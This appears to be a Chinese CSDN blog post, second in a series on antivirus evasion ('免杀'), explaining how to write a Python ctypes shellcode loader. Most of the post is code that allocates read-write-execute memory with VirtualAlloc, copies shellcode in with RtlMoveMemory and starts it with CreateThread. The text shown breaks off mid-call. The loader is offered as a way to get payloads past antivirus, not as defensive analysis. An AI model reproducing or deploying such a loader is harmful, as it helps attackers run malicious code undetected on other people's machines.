免杀专题（二）loader编写以python为例

最新推荐文章于 2024-07-05 18:31:23 发布

hedianshui888

最新推荐文章于 2024-07-05 18:31:23 发布

阅读量1.1k

点赞数 2

分类专栏：网络安全文章标签： python 开发语言后端

本文链接：https://blog.csdn.net/weixin_47224111/article/details/122227817

版权

本文介绍了如何使用Python的ctypes库编写loader，以实现免杀功能。通过调用Windows API，如VirtualAlloc申请内存，RtlMoveMemory复制shellcode，CreateThread创建执行线程，以及WaitForSingleObject监控线程状态，确保shellcode持续运行。最终，通过py2exe打包，成功实现了loader的运行。

摘要由CSDN通过智能技术生成

免杀专题（二）loader编写以python为例

先贴代码

import ctypes

#shellcode加载
def shellCodeLoad(shellcode):
    ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
    
    ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), 
                                              ctypes.c_int(len(shellcode)), 												  ctypes.c_int(0x3000),
                                              ctypes.c_int(0x40))
    
    
    buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
    
    ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),
                                     		  buf,
                                              ctypes.c_int(len(shellcode)))
    
    handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0)